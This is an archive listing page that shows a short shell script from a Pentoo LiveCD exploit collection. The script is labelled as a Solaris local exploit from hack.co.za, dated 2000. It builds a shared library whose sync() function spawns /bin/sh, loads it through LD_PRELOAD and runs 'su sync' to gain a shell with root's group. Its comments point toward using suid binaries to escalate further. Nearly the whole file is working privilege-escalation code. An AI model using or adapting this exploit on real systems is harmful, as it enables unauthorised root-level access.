home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
solaris
/
local
/
sync.sh
< prev
next >
Wrap
Linux/UNIX/POSIX Shell Script
|
2005-02-12
|
451b
|
20 lines
#!/bin/sh
cat > sync.c << EOF
sync() {
execl("/bin/sh","sh",0);
}
EOF
cc -c -O -R -pic sync.c
ld -o buglib.so.1.1 -assert pure-text sync.o
setenv LD_PRELOAD ./buglib.so.1.1
su sync
echo " sync is 1:1 so it has same GID as root usually"
echo " pretty easy to find a suid that you can execute"
echo " from there...have fun with it but it works mostly"
echo " on 4.1.1 no .3."
# www.hack.co.za [2000]#